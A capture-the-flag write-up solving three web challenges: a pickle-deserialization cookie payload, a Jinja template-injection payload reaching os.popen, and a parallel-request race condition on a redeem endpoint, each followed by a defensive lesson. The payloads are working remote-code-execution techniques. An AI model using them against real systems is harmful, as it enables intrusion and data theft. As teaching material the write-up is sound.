Track A · Stage 9

1. The session cookie is base64(pickle(dict)). Build a payload class:

class E:\n def __reduce__(self):\n import os;return (os.popen,('cat /flag.txt',)) then cookie = base64.b64encode(pickle.dumps(E())).

Why: pickle.loads calls __reduce__ during deserialization, so you control code that runs on the server.

2. Set that as your session cookie and reload; the app reads the object and the command output (flag) is shown. A ready solve.py is included.

Lesson: never unpickle untrusted data; use JSON or signed/validated formats.

1. Probe: set name to {{77}} → if it renders 49, it's SSTI. Why:* your input is concatenated into the template string and evaluated server-side.

2. Read the flag file via the object chain:

{{ cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }} (or the classic ''.__class__.__mro__[1].__subclasses__() route). Why: Jinja expressions can walk Python objects to reach os, enabling command execution.

3. The rendered page shows the flag.

Lesson: never build templates from user input; pass data as context variables.

1. The endpoint /redeem does: read balance → sleep → if >=cost, subtract. Fire many /redeem requests in parallel (provided solve.py uses threads, or seq 20 | xargs -P20 -I_ curl -s --cookie ... /redeem). Why: multiple requests read the same balance before any of them writes the deduction, so the guard passes several times — classic TOCTOU.

2. Your balance goes negative / you accumulate enough credit to buy the $15 flag item at /buy-flag.

Lesson: make check-and-deduct atomic (DB transaction with row lock / UPDATE ... WHERE balance>=cost).